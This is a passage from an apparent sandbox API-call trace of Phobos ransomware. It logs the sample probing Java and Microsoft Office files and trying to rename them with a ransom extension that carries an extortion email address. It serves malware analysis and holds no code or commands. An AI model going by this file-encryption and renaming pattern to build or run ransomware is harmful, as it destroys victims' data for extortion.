(lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.044] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.045] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=36524) returned 1 [0151.045] CloseHandle (hObject=0x564) returned 1 [0151.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0151.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.048] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.157] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=0) returned 1 [0151.157] CloseHandle (hObject=0x564) returned 1 [0151.158] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.158] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1761448) returned 1 [0151.158] CloseHandle (hObject=0x564) returned 1 [0151.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll")) returned 0x420 [0151.158] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.159] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll")) returned 0 [0151.159] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.159] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2285736) returned 1 [0151.159] CloseHandle (hObject=0x564) returned 1 [0151.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll")) returned 0x420 [0151.160] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.160] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll")) returned 0 [0151.160] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.161] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=431664) returned 1 [0151.162] CloseHandle (hObject=0x564) returned 1 [0151.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 0x220 [0151.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.162] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.163] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=820416) returned 1 [0151.164] CloseHandle (hObject=0x564) returned 1 [0151.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll")) returned 0x420 [0151.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.164] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.165] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1208928) returned 1 [0151.165] CloseHandle (hObject=0x564) returned 1 [0151.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll")) returned 0x420 [0151.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.166] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.166] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=332968) returned 1 [0151.167] CloseHandle (hObject=0x564) returned 1 [0151.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll")) returned 0x220 [0151.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.167] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.168] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=5653664) returned 1 [0151.168] CloseHandle (hObject=0x564) returned 1 [0151.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll")) returned 0x220 [0151.168] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0151.168] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll")) returned 0 [0151.169] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.170] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=660136) returned 1 [0151.170] CloseHandle (hObject=0x564) returned 1 [0151.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll")) returned 0x220 [0151.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.170] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.171] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=635040) returned 1 [0151.171] CloseHandle (hObject=0x564) returned 1 [0151.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll")) returned 0x220 [0151.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.172] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.173] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=963240) returned 1 [0151.173] CloseHandle (hObject=0x564) returned 1 [0151.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll")) returned 0x220 [0151.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.173] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.174] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=982720) returned 1 [0151.174] CloseHandle (hObject=0x564) returned 1 [0151.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll")) returned 0x220 [0151.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.174] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.174] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.175] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=390320) returned 1 [0151.175] CloseHandle (hObject=0x564) returned 1 [0151.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll")) returned 0x220 [0151.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.175] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.176] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=88752) returned 1 [0151.176] CloseHandle (hObject=0x564) returned 1 [0151.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll")) returned 0x220 [0151.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.177] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.179] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7384) returned 1 [0151.179] CloseHandle (hObject=0x564) returned 1 [0151.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0151.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.179] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.180] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9322) returned 1 [0151.180] CloseHandle (hObject=0x564) returned 1 [0151.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0151.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.180] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0151.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.182] GetFileSizeEx (in: 